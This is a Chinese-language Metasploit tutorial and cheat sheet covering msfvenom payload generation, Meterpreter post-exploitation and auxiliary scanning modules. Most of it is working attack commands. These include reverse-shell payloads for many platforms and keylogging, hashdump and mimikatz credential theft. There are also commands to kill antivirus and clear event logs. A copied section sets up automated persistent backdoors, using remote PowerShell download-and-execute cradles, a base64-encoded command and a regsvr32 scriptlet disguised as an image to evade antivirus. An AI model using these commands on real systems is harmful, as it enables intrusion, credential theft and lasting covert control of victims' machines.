Metasploit基础使用

Metasploit体系框架

基础库文件

基础库文件位于源码根目录下的libraries目录中,包括

Rex //整个Metasploit框架所依赖的最基础的组件,为开发者提供基础功能支持

framwork-core //负责实现所有与各种类型的上层模块及插件的交互接口

framework-base //扩展了framework-core,提供更加简单的包装例程,为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块

模块

模块是通过Metasploit框架装载集成对外提供的最核心的渗透测试功能实现代码。
分为

  • Aux(辅助模块)

  • Exploit(攻击模块)

  • Payloads(攻击载荷模块)

  • Nops(空指令模块)

  • Encoders(编码器模块)

知道漏洞名称之后可以在

https://www.exploit-db.com
https://www.rapid7.com

搜索对应的模块或者poc添加利用

插件

插件是扩充的功能,可以集成现有的一些玩不安全工具比如Nessus OpenVAS等,为用户接口提供新的命令

接口

Metasploit框架提供了多种用户接口,包括

  • msfconsole控制台终端

  • msfcli命令行

  • armitage图形化界面

  • msfapi远程调用接口

功能程序

Metasploit提供了一些列可直接运行的功能程序,支持用户快速利用Metasploit框架内部能力完一些任务。


  • 启动metasploit(命令行模式) :msfconsole
  • (图形化模式):msfgui
  • 升级metasploit:msfupdate
  • 查看命令使用帮助信息:help [COMMAND]
  • 搜索模块:search [模块名 //(search ms08-067)
  • 选择模块:use xxx/xxx/xxx
  • 查看模块信息:info
  • 查看攻击载荷:show payloads
  • 设置攻击载荷:set payload xxx/xxx/xxx
  • 查看需要设置的配置参数:show options
  • 设置配置参数:set XXXX xxxxxx
  • 开始攻击:exploit
  • 退出当前模块:back
  • 退出msf : exit
  • 使用.rc脚本自动化处理
    如创建listener.rc文件写入
    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST <Your Vps's IP>
    set LPORT <Your Port>
    set ExitOnSession false
    exploit -j-z
    
    使用时运行msfconsole -r /opt/listner.rc即可自动执行.rc文件内的命令省去频繁操作

  • 搜索时出现[!] Database not connected or cache not built, using slow search
      msf > db_status
      service postgresql start
      sercice metasploit start
      msf > db_rebuild_cache
    

[========]

Msfvenom

help参数

Options:
    -p, --payload    <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定
    -l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
    -n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
    -f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
    -e, --encoder    [encoder]       指定需要使用的encoder(编码器)
    -a, --arch       <architecture>  指定payload的目标架构
        --platform   <platform>      指定payload的目标平台
    -s, --space      <length>        设定有效攻击荷载的最大长度
    -b, --bad-chars  <list>          设定规避字符集,比如: &#039;\x00\xff&#039;
    -i, --iterations <count>         指定payload的编码次数
    -c, --add-code   <path>          指定一个附加的win32 shellcode文件
    -x, --template   <path>          指定一个自定义的可执行文件作为模板
    -k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
        --payload-options            列举payload的标准选项
    -o, --out   <path>               保存payload
    -v, --var-name <name>            指定一个自定义的变量,以确定输出格式
        --shellest                   最小化生成payload
    -h, --help                       查看帮助选项
        --help-formats               查看msf支持的输出格式列表

生成payload,有有两个必须的选项:-p -f

使用-p 来指定要使用的payload。

可以使用下面的命令来查看所有msf可用的payload列表

msfvenom -l payloads

-p选项也支持使用使用自定义的payload,需要使用 “-“,比如:

cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw

使用-f 来指定payload的输出格式

msfvenom -p windows/meterpreter/bind_tcp -f exe

使用下面的命令,可以产看msf支持的输出格式

msfvenom --help-formats

典型的msfvenom使用:

  • Windows
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Attacker's IP] LPORT=4444 -f exe -o /tmp/my_payload.exe
    
  • Linux

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > root.elf
    
  • Mac

    msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f macho > shell.macho
    
  • Bash
    msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -f raw > shell.sh
    
  • PHP

    msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
    
  • ASP

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
    
  • JSP
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
    
  • Python
    msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PORT> -f raw > shell.py
    

对payload进行编码

如果你使用了-b选项(设定了规避字符集),会自动调用编码器。

其他情况下,你需要使用-e选项来使用编码模块,例如:

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

可以使用下面的命令,来查看可用的编码器

msfvenom -l encoders

你也可以使用-i选项进行多次编码。某些情况下,迭代编码可以起到规避杀毒软件的作用,但你需要知道,编码并没有使用一个真正意义上的AV规避方案。

可以使用下面的命令来进行迭代编码:

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3

规避字符

使用-b选项意味着在生成payload的时候对某些字符进行规避。当你使用这个选项的时候,msfvenom会自动的使用合适的编码器对payload进行编码,比如:

msfvenom -p windows/meterpreter/bind_tcp -b &#039;\x00&#039; -f raw

使用自定义可执行文件模板

默认的,msfvenom使用的模板文件保存在msf/data/templates目录中,如果你想使用你自己的模板文件,你可以使用-x选项来指定,比如:

msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。

监听连接

使用exploit/multi/handler监听连入的backdoor

msf > use exploit/multi/handler             

设置对应的payload

msf  exploit(handler) > set payload windows/meterpreter/reverse_http            

显示设置

msf  exploit(handler) > show options                       

显示高级设置

msf exploit(handler)> show advanced

进行设置如set LHOST之后

msf  exploit(handler) > exploit -j

在后台运行handler进行监听payload的连接

  • 小技巧,使用命令set ExitOnSession false为保持会话存活,可以同时接受多个sessions

会话

sessions

列出可用的交互会话(在处理多个shell时使用)

sessions -l

列出所有可用的交互会话以及详细信息,EG:攻击系统时使用了哪个安全漏洞。

sessions -l -v

在所有活跃的metasploit会话中运行一个特定的metasploit脚本

sessions -s script

在所有活跃的metasploit会话上执行一个命令。

sessions -c cmd
  • 对于cmd会话,应执行cmd命令,对于meterpreter会话,应执行meterpreter命令,如果命令中间有空格,可使用””包裹命令

升级一个普通的cmd shell到meterperter shell

sessions -u sessionID
  • 可同时设定多个sessionID,如执行sessions -u 1,2,3,4

[========]

Meterpreter

基本命令

核心命令

? – 帮助菜单
background – 将当前会话移动到背景
bgkill – 杀死一个背景 meterpreter 脚本
bglist – 提供所有正在运行的后台脚本的列表
bgrun – 作为一个后台线程运行脚本
channel – 显示活动频道
close – 关闭通道
exit – 终止 meterpreter 会话
help – 帮助菜单
info - 
interact – 与通道进行交互
irb – 进入 Ruby 脚本模式
migrate – 移动到一个指定的 PID 的活动进程
quit – 终止 meterpreter 会话
read – 从通道读取数据
run – 执行以后它选定的 meterpreter 脚本
use – 加载 meterpreter 的扩展
write – 将数据写入到一个通道

文件系统命令

cat -读取并输出到标准输出文件的内容
cd -更改目录对受害人
del -删除文件对受害人
download-从受害者系统文件下载
search - 在目标主机文件系统上查找搜索文件例如:search  -d  c:\\  -f  *.doc  在目标主机C盘下搜索doc文档
edit-用 vim编辑文件
getlwd -打印本地目录
getwd -打印工作目录
lcd -更改本地目录
lpwd -打印本地目录
ls -列出在当前目录中的文件列表
mkdir -在受害者系统上的创建目录
pwd -输出工作目录
rm -删除文件
rmdir -受害者系统上删除目录
upload-从攻击者的系统往受害者系统上传文件

网络命令

ipconfig -显示网络接口的关键信息,包括 IP 地址、 等。
portfwd -端口转发 例如:portfwd  add -l  1122 -p 3389 -r  192.168.250.176把目标主机192.168.250.176的3389端口转发到1122端口
route -查看或加入受害者路由表  route add 5.5.5.0 255.255.255.0 1 用sessions 1会话加入指定网段
arp - 显示主机ARP缓存
getproxy - 显示当前代理配置
netstat - 显示网络连接

系统命令

clearev -清除了受害者的计算机上的事件日志
drop_token -被盗的令牌
execute-执行命令 在目标主机上运行某个程序 execute  -f  notepad.exe 行目标主机上的记事本程序 隐藏后台执行,加参数-H
getpid -获取当前进程 ID (PID)
getprivs -尽可能获取尽可能多的特权
getenv        获取一个或多个环境变量值
localtime     显示目标系统的本地日期和时间
pgrep         按名称显示进程
pkill         按名称终止进程
getuid -获取作为运行服务器的用户
kill -终止指定 PID 的进程
ps -列出正在运行的进程
reboot-重新启动受害人的计算机
reg -与受害人的注册表进行交互
rev2self -在受害者机器上调用 RevertToSelf()
shell -在受害者计算机上打开一个shell
shutdown-关闭了受害者的计算机
steal_token -试图窃取指定的 (PID) 进程的令牌
suspend - 暂停或恢复进程列表
sysinfo -获取有关受害者计算机操作系统和名称等的详细信息

用户界面命令

enumdesktops -列出所有可访问台式机
getdesktop -获取当前的 meterpreter 桌面
idletime -检查长时间以来,受害者系统空闲进程
keyscan_dump -键盘记录软件的内容转储
keyscan_start -启动时与如 Word 或浏览器的进程相关联的键盘记录软件
keyscan_stop -停止键盘记录软件
screenshot-抓去 meterpreter 桌面的屏幕截图
set_desktop -更改 meterpreter 桌面
uictl -启用用户界面组件的一些控件

提权命令

getsystem -获得系统管理员权限

密码转储命令

hashdump -抓取哈希密码 (SAM) 文件中的值

hashdump 可以跳过杀毒软件,但现在有两个脚本,都更加隐蔽,run hashdumprun smart_hashdump

Timestomp 命令

timestomp -操作修改,访问,并创建一个文件的属性

后渗透模块

抓取目标主机所有用户的明文密码

load mimikatz
wdigest

注入载荷

use post/windows/manage/payload_inject

确定目标主机是否是一台虚拟机

run  checkvm

自动开启3389或者任意端口

use post/windows/manage/enable_rdp

开启目标主机远程桌面,并可添加管理员组账号

run  getgui  -e

开启目标主机的远程桌面服务后,可以添加账号以便利用
命令:

run  getgui  -u  example_username  -p  example_password

连接远程桌面

rdesktop -u username -p passwd IP

关闭防护软件

run killav

键盘记录

run keylogrecorder

查看对方桌面

run vnc

获取目标主机上的软件安装信息

run  post/windows/gather/enum_applications

获取目标主机上最近访问过的文档、链接信息

run  post/windows/gather/dumplinks

查看目标系统所有网络流量并且进行数据包记录

run packetrecorder -i 0 //-i 1指定记录数据包的网卡

读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码

run  post/windows/gather/enum_ie //获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/目录下

Meterpreter维持访问

//文章来自http://www.evil0x.com/posts/26075.html

0x01 MSF Persistent Scripts

1、Persistence

路径:metasploit/scripts/meterpreter/persistence.rb,用于创建通过启动项启动。会创建注册表,创建文件,很容易被杀软拦截。

使用举例:

run persistence -A -U -i 5 -p 4455 -r 103.79.77.110

使用-S可创建服务。-U 会在HKCU添加启动项,-X 会在HKLM添加启动项

能实现同样功能的脚本还有:

exploit/windows/local/persistence.rb
exploit/windows/local/registry_persistence.rb

2、Metsvc

路径:metasploit/scripts/meterpreter/metsvc.rb,用于创建服务启动。会创建meterpreter服务,并上传三个文件,很容易被杀软拦截,且安装服务需要管理员权限。

使用举例:

run metsvc -A

使用 -R 参数可卸载服务。

3、Scheduleme & Schtasksabuse

路径:

metasploit/scripts/meterpreter/scheduleme.rb
metasploit/scripts/meterpreter/schtasksabuse.rb

这两个脚本都是通过schtasks来创建计划任务来达到维持权限的目的,区别是scheduleme 需要当前进程拥有最高管理权限,而schtasksabuse则不需要,(测试发现很容易被杀软拦截)。

使用举例:

scheduleme

run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080" #上传nc并创建计划任务每一分钟执行一次 'nc -e cmd.exe -L -p 8080'
run scheduleme -m 1 -c "cmd /c calc.exe" # 创建计划任务每一分钟执行一次打开计算器命令

其他参数有兴趣自己看看就不详细介绍了

schtasksabuse

run schtasksabuse -t 192.168.2.7 -c "cmd /c calc.exe" -d 4  #每隔4秒执行一次calc.exe

使用脚本需要加-T参数

能实现同样功能的脚本还有:

exploits/windows/local/s4u_persistence.rb

4、Mof_ps_persist

之前在 Powershell之MOF后门 提到过,创建WMI后门的一种方式,可以在你的MSF添加此脚本。(运行需要管理员权限,不容易被拦截)

当然,MSF持续控制的脚本还有几个,这里就不一一介绍了。

0x02 Autorunscript

说到要自动运行脚本,离不了autorunscript。autorunscript是一个十分强大的脚本,可以让我们在生成会话的同时,执行指定的操作。现在可以直接通过autorunscript来直接调用的脚本已经有66个,目录在metasploit/scripts/meterpreter,包括屏幕截图,获取环境变量等等,还有我们常用的migrate,uploadexec等。

举个例子,如果我们想在获取到会话的同时,执行persistence进行留后门操作可以直接这样:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.101
set LPORT 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.2.101 -p 5556 -U -X -i 30
exploit -j -z

当生成会话以后,自动执行persistence,结果就像这样:

当然,同样可以设置metsvc

set AutoRunScript metsvc -A

其实,从标题上来讲,此文已经可以结束了,因为现在完全可以实现Automated Persistent Backdoor的目的。但是,以上两种方式很容易被杀软拦截,那我们还有什么方式么?答案是有的。

在介绍之前,再介绍两个很有用的脚本。multi_console_command 及 multicommand。

multi_console_command:用来执行msf的命令的脚本,帮助信息如下:

使用示例:

meterpreter > run multi_console_command -cl "pwd"

CL参数用来执行一条METERPRETER的命令,RC参数用来执行多条METERPRETER命令,按行分割。

multicommand:用来执行cmd命令的脚本,帮助信息如下:

使用示例:

run multicommand -cl “whoami”

此脚本可用来执行CMD命令,有一个缺点就是会一直等待执行的程序退出以返回结果。

0x03 Resource scripts

除了使用以上Autorunscript,使用Resource 脚本也是可以的,通常我们常见的rc脚本内容是这样的:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.184
set ExitOnSession false
exploit -j -z

将以上内容保存为1.rc,然后执行如下命令:

msfconsole -r 1.rc

自动输入命令而省去了我们一条一条输入的繁琐。其实,rc文件里面也可以写ruby代码的,一个简单的示例如下:

use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.101
set lport 6666
set uripath /
set ExitOnSession false
exploit -j
<ruby>
    sleep(1)
    print_status("Waiting on an incoming sessions...")
    while (true)
        framework.sessions.each_pair do |sid,s|
            thost = s.tunnel_peer.split(":")[0]
            # Ensure that stdapi has been loaded before running
            if s.ext.aliases['stdapi']
                sleep(2)
                print_status("run screenshot to session #{sid} #{thost}...")
                s.console.run_single("screenshot")
                sleep(2)
                print_status("Executing persistent command...")
                s.console.run_single("run persistence -r 192.168.2.101 -p 5556 -U -i 30")
                sleep(4)
                print_status("Closing session #{sid} #{thost}...")
                s.kill
                print_status("Waiting on an incoming sessions...")
            else
                print_status("Session #{sid} #{thost} active, but not yet configured")
                sleep(15)
            end

        end
        sleep(4)
    end

    print_status("All done")
</ruby>

使用以上Resource的效果是,开启

exploit/multi/script/web_delivery

进行配置并开启监听,当产生一个会话以后,自动执行screenshot以及persistent操作,最后关闭当前会话继续等待。效果如下图:

0x04 绕过拦截

至此,我们已经可以通过使用autorunscript或者使用添加ruby代码的resource脚本两种方式来让msf在产生会话的同时自动创建Persistent Backdoor了,那么AV那一关怎么过呢?别着急,很多人都知道,Powershell在绕AV上有不错的效果,那我们就试试使用Powershell。

测试过程如下:

1、首先我们先通过web_delivery的PSH获取到一个meterpreter会话。
2、构造创建计划任务命令如下:

schtasks /create /tn mytask /tr notepad.exe /sc hourly  /mo 1 #指定每1小时执行一次notepad.exe

3、测试shell下直接执行(被拦截):

4、将以上命令写入schtasks.ps1,然后通过IEX下载执行,这种方式就不会被拦截了:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/DemoShell/schtasks.ps1');"

测试如下图:

未被拦截的情况下成功建立计划任务。

5、将命令写入autorunscript:

由于命令中存在引号,可以通过编码方式解决,详细如下:

echo "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/DemoShell/schtasks.ps1');" | iconv --to-code UTF-16LE |base64

最后执行的命令为:

powershell -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA==

之后我们就需要用到multicommand脚本了,自动运行的命令为:

set autorunscript 'multicommand -cl "powershell -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA=="'

演示如下:

现在我们就在获取meterpreter会话之后,绕过拦截自动创建了计划任务,至于怎么样使用计划任务创建一个后门,其实已经有了现成的powershell脚本。请看拓展。

0x05 拓展

PowerSploit 是一个Powershell的渗透框架,其中含有Persistence模块,不知道小伙伴没有没有测试过。具体怎么使用这里就不详细介绍了,有兴趣可是看一下里面的Help信息。

1、首先,生成一个自动创建计划任务后门的脚本:

加载Persistence模块:

PS C:/Persistence> Import-Module ./Persistence.psm1

因为常常我们希望在没有最高权限的情况下创建后门,为了避免杀软,尽量不使用添加注册表的方式,所以,这里依然使用计划任务的方式来创建,执行时间是计算机空闲状态执行。具体命令如下:

PS C:/Persistence> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
PS C:/Persistence> $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
PS C:/Persistence> Add-Persistence -FilePath ./evil.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

可以看脚本说明更改触发条件

evil.ps1是计划任务要执行的payload,可以使用以下命令来生成。

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.2.101 lport=7777 -f psh-reflection -o evil.ps1

最终生成脚本如下:

2、测试脚本功能:

将Persistence.ps1 脚本放到web上通过IEX来加载。创建成功以后当电脑空闲时,会执行命令,从而产生meterpreter会话。

测试方式为执行以下命令:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://domain.com/Persistence.ps1'); "

在这里发现一个小BUG,运行脚本的时候,执行的POWERSHELL对话框并不会隐藏,解决方式是修改PERSISTENCE.PS1 ,找到POWERSHELL.EXE -NONINTERACTIVE 并添加 -W HIDDEN 参数。如果有已经有了CMD权限,可以直接执行此命令添加计划任务后门,这里设置为获取METERPRETER之后自动执行是为了在通过某些其他漏洞获取METERPRETER会话之后自动创建计划任务后门。

测试发现脚本可以实现我们想要的功能。

3、构造Autorunscript命令:

现在要做的就是把Auturunscript以及Persistence.ps1相结合使用,由于命令中存在引号,可以根据前文中提到的方式进行编码处理。但是,经过测试,按照上文中的方式执行是有问题的,multicommand执行会等待程序执行结束并获取执行结果,这样一来,由于执行的进程不会退出且无回显,所以,会导致程序报错!

多次测试以后,找到了解决方式,即使用http://drops.wooyun.org/tips/15124所讲的方式。

构造sct文件如下:

<?XML version="1.0"?>
<scriptlet>
<registration
    progid="ShortJSRAT"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
    <!-- Learn from Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
            rat = "base64codes"
            ps  = "cmd.exe /c powershell -window hidden -enc "
            new ActiveXObject("WScript.Shell").Run(ps + rat,0,true);

        ]]>
</script>
</registration>
</scriptlet>

将以上内容命名为test.jpg并放到web服务器上(替换掉base64codes),之后执行

regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll

与执行powershell的命令是等价的。并且会通过regsvr32开启新的进程而不影响multicommand的执行。

所以最终要设置的内容为:

set autorunscript 'multicommand -cl "regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll"'

当获取meterpreter会话以后,自动执行命令安装后门:

这样,两者就完美的结合了。重启以后,空闲状态时,脚本执行,重新获取meterpreter会话。这里就不截图了。

以上命令可写入rc文件方便运行:

payload.rc:

use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.101
set lport 6666
set uripath /
set ExitOnSession false
set autorunscript 'multicommand -cl "regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll"'
exploit -j
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.2.101
set lport 7777
set ExitOnSession false
exploit -j

自己配置修改相关选项


数据库

Metasploit支持使用数据库来保存渗透测试过程中获取的各种数据

启用数据库

Metasploit的数据库支持

[email protected]:~# service postgresql start//开启postgresql数据库
[email protected]:~# msfdb init//初始化msf数据库

//输入如下命令,查看默认安装的PostgreSQL数据库默认管理员口令:

cat /opt/metasploit/properties.ini | grep "postgres_root_password" postgres_root_password=84cd2bcf

在Metasploit中使用PostgreSQL

第一次运行msfconsole时,Metasploit会创建名称为msf3dev的PostgreSQL数据库,并生成保存渗透测试数据所需的数据表,然后使用名称为msf3的用户,自动连接到msf3数据库

查看数据库的连接状态:

> db_status
[*] postgresql connected to msf3dev //说明数据库连接正常

连接到其他数据库

每次msfconsole启动时,会自动连接到msf3dev数据库,连接到其他数据库应用db_connect命令

msf > db_connect 用户名:口令@服务器地址:端口/数据库名称

用户名为postgres,口令如上在/opt/metasploit/properties.ini中查找

输入db_connect连接

msf > dv_connect postgress:[email protected]:7337/msf4

连接到数据库后,可以使用hosts命令检查数据库是否可以正常使用。

msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments

删除一个数据库:

/opt/framework/metasploit/bin/dropdb msf4
password:

断开数据库连接:

msf > db_disconnect

Nmap连接渗透测试数据库

msf > db_nmap -Pn -sV  10.10.10.0/24

该命令是Nmap的一个封装,与Nmap使用方法一样,其执行结果会自动输入到数据库当中

也可以将Nmap扫描结果导出为一个输出文件,并导入渗透测试数据库中,只要在Nmap命令中加入-oX参数

nmap -Pn -sV -oX dmz 10.10.10.0/24

扫描结束后,在当前目录下生成名为dmz的文件,可以在msf终端中导入数据库中

msf > db_import /root/dmz

// db_import命令还能识别Acunetix,Amap,Appscan,Burp Session,Microsoft Baseline Security Analyzer,Nessus,NetSparker,NeXpose,OpenVAS Report,Rentina 等扫描器的结果

OpenVAS连接渗透测试数据库

首先载入OpenVAS插件,并连接到PoenVAS管理引擎
msf > load openvas
msf > openvas_connect admin your_openvas_passwd 10.10.10.128 9390 ok

找到想要导入的扫描报告,导入数据库中
*Metasploit之支持导入NBE格式的扫描报告,导入前需要使用openvas_format_list查找NBE格式的ID号

msf > openvas_report_list
msf > openvas_format_list
msf > openvas_report_import 2 4

共享渗透测试信息数据库

  • waiting

[========]

模块总结

系统部分

活跃主机扫描

Metasploit主机发现模块

模块位于源码路径的modules/auxiliary/scanner/discovery/

主要有

arp_sweep
ipv6_mulitcast_ping
ipv6_neighbor
ipv6_neighbor_router_advertisement
udp_probe
udp_sweep
  • arp_sweep使用arp请求枚举本地局域网中的所有活跃主机
  • udp_sweep通过发送UDP数据包探查指定主机是否活跃,并发现主机上的udp服务。

arp_sweep模块使用方法

> use auxiliary/scanner/discovery/arp_sweep
> show options
  1. 首先输入RHOSTS设置扫描目标 //大部分RHOSTS可以设置一个或多个IP,多个IP之间使用连字符“-”表示。
> set RHOSTS 10.10.10.0/24
> set THREADS 50
> run
  1. 设置好参数后输入run启动扫描器

端口扫描

可以输入如下命令找到相关扫描器

> search portscan

返回

auxiliary/scanner/protscan/ack //通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测 
auxiliary/scanner/protscan/ftpbounce //通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能很好的防范此攻击,但在旧的系统上仍可以被利用
auxiliary/scanner/protscan/syn  //使用发送TCP SYN标志的方式探测开放端口
auxiliary/scanner/protscan/tcp  //通过一次完整的TCP连接来判断端口是否开放 最准确但是最慢
auxiliary/scanner/protscan/xmas  //一种更为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级的TCP标记检测器的过滤

一般情况下推荐使用syn端口扫描器,速度较快,结果准确,不易被对方察觉

syn扫描器的使用

> use auxiliary/scanner/protscan/syn
> set RHOSTS 10.10.10.10/254
> set THREADS 20
> run

服务扫描与查点

确定开放端口后,对相应端口上锁运行的服务信息进行挖掘

在Metasploit的Scanner辅助模块中,用于服务扫描和查点的工具常以

[service_name]_version

[service_name]_login

命名

  • [service_name]_version 可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本。
  • [service_name]_login 可对某种服务进行口令探测攻击

在msf终端中可以输入:

search name:_version

查看所有可用的服务查点模块


常见网络服务扫描

Telnet服务扫描

> use auxiliary/scanner/telnet/telnet_version
> set RHOSTS xxx.xxx.xxx/24
> set THREADS 100
> run

SSH服务扫描

> use auxiliary/scanner/ssh/ssh_version
> set RHOSTS xx.xx.xx.x/24
> set THREADS 100
> run

Oracle数据库服务查点

> use auxiliary/scanner/oracle/tnslsnr_version
> set RHOSTS xx.xx.xx.xx/24
> set THREADS 50
> run

smb服务扫描

> msf> use auxiliary/scanner/smb/smb_version 
> show options 
> set RHOSTS 192.168.1.111 
> run 
> db_hosts –c address,os_flavor 

查找mssql 主机

> msf> use auxiliary/scanner/mssql/mssql_ping 
> show options 
> set RHOSTS 192.168.1.0/24 
> set THREADS 255 
> run 

FTP 主机扫描
msf> use auxiliary/scanner/ftp/ftp_version
> show options
> set RHOSTS 192.168.1.0/24
> set THREADS 255
> run
扫描FTP 匿名登录
> use auxiliary/scanner/ftp/anonymos
> set RHOSTS 192.168.1.0/24
> set THREADS 50
> run

扫描SNMP 主机

msf> use auxiliary/scanner/snmp/snmp_login 
> set RHOSTS 192.168.1.0/24 
> set THREADS 50 
> run

开放代理探测辅助模块

Metasploit提供了open_proxy模块,可以方便的获取免费的HTTP代理服务器地址,用来隐藏真实ip

> use auxiliary/scanner/http/open_proxy
> set SITE www.google.com
> set RHOSTS 24.25.24.1-24.25.26.254
> set MULTIPORTS true
> set VERIFY_CONNECT true
> set THREADS 100
> run

口令猜测与嗅探

SSh服务弱口令猜测

> use auxiliary/scanner/ssh/ssh_login
> set RHOSTS 10.10.10.254
> set USERNAME root
> set PASS_FILE /root/words.txt
> set THREADS 50
> run

psnuffle口令嗅探

可以截获常协议的身份认证过程,并将用户名和口令信息记录下来

> use auxiliary/sniffer/psunffle
> run

实际使用中,只有在得到能够介入对方网络的初始访问点之后,才能使用此模块进行口令嗅探。


漏洞扫描

调用外部漏洞扫描器

在Metasploit内部使用Openvas

1 载入openvas插件

msf > load openvas

2 连接Openvas管理引擎

>openvas_connect admin <your_pawsswd> xxx.xxx.xxx.xxx 9390

3 创建目标

openvas_target_create target1 10.10.10.254 Metasploitable

4 创建扫描任务

查找扫描策略(Scan Config)

msf> openvas_config_list

创建任务:

openvas_task_create <任务名> <任务备注> <扫描策略ID> <目标ID>

特殊扫描:

SMB 弱口令

msf> use auxiliary/scanner/smb/smb_login 
> set RHOSTS 192.168.1.111-222 
> set SMBUser Administrator 
> set SMBPass admin 
>run 

VNC 空口令:

msf> use auxiliary/scanner/vnc/vnc_none_auth 
> set RHOSTS 192.168.1.111 
> run 

Open X11 空口令:

msf> use auxiliary/scanner/x11/open_x11 
> set RHOST 192.168.1.0/24 
> set THREADS 50 
> run

当扫描到此漏洞的主机后可以使用xspy 工具来监视对方的键盘,输入:

cd /pentest/sniffers/xspy/ 
./xspy –display 192.168.1.125:0 –delay 100 

Web部分

Web应用辅助扫描,漏洞查找等模块基本都在 modules/auxiliary/ 下,Metasploit内置了wmap WEB扫描器

  • 辅助模块

wmap

要先创建一个数据库用来存放扫描数据

初始化wmap

msf > load wmap
msf > help
wmap Commands
=============

Command       Description
-------       -----------
wmap_modules  Manage wmap modules
wmap_nodes    Manage nodes
wmap_run      Test targets
wmap_sites    Manage sites
wmap_targets  Manage targets
wmap_vulns    Display web vulns

使用wmap扫描

msf > wmap_sites -a http://202.112.50.74  //添加要扫描的网站
msf > wmap_sites -l
msf > wmap_targets -t http://202.112.20.74 //只能添加ip地址 //把添加的网站作为扫描目标
msf > wmap_run -t   //查看那些模块将在扫描中使用
msf > wmap_run -e   //开始扫描
msf > vulns     //查看漏洞信息

  • 渗透模块

Metasploit针对Web应用的渗透模块分赛在module中的多个文件中下,主要集中在

exploit/unix/webapp
exploit/windows/http
exploit/multi/http

网站信息查询

搜索网站目录

dir_scanner

msf> use auxiliary/scanner/http/dir_scanner
msf>set THERADS 50
msf>set RHOSTS www.testfire.net
msf>exploit

搜索网站中的email地址

